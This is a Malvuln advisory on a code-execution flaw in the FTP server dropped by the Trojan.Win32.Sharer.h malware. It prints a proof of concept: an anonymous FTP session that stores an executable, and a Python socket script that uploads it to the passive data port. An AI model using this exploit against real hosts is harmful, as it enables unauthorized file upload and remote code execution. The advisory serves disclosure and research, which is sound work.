Trojan.Win32.Sharer.h Code Execution

Trojan.Win32.Sharer.h malware suffers from a code execution vulnerability.


MD5 | d8fb18a00a1ee2f640bfeb75ecd05e69

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9f80c3b1e7f5f6f7d0c8aea25fe83551.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan.Win32.Sharer.h
Vulnerability: Anonymous Logon RCE
Description: Sharer.h by GOLDSWORD - www.daokers.cn can run several types of services, one is an FTP server named "20CN MINIFTP" TCP port 21. The FTP server default configuration is username "anonymous" and no password, any password will allow logon. Attackers may then upload executables using PASV, STOR commands, this can result in remote code execution. Running this malware you may get missing "picclp32.ocx" error just run it again and it should work.
Type: PE32
MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551
Vuln ID: MVID-2021-0158
Dropped files: FtpServer.exe
Disclosure: 04/03/2021

Exploit/PoC:
TELNET x.x.x.x 21

220 ─πY╙╓└┤┴╦!!!
USER anonymous
331 Password required for anonymous
PASS malvuln
230 User successfully logged in.
SYST
215 UNIX emulated by Pablo's FTP Server.
PASV
227 Entering Passive Mode (192,168,88,128,202,32).
STOR DOOM.exe
150 Opening BINARY mode data connection for file transfer.
226 Transfer complete


from socket import *

MALWARE_HOST="192.168.88.128"
PORT=51744 #202*256+32
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("Trojan.Win32.Sharer.h / Anonymous Logon RCE")
print("MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551")
print("By Malvuln");

if __name__=="__main__":
doit()



Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Related Posts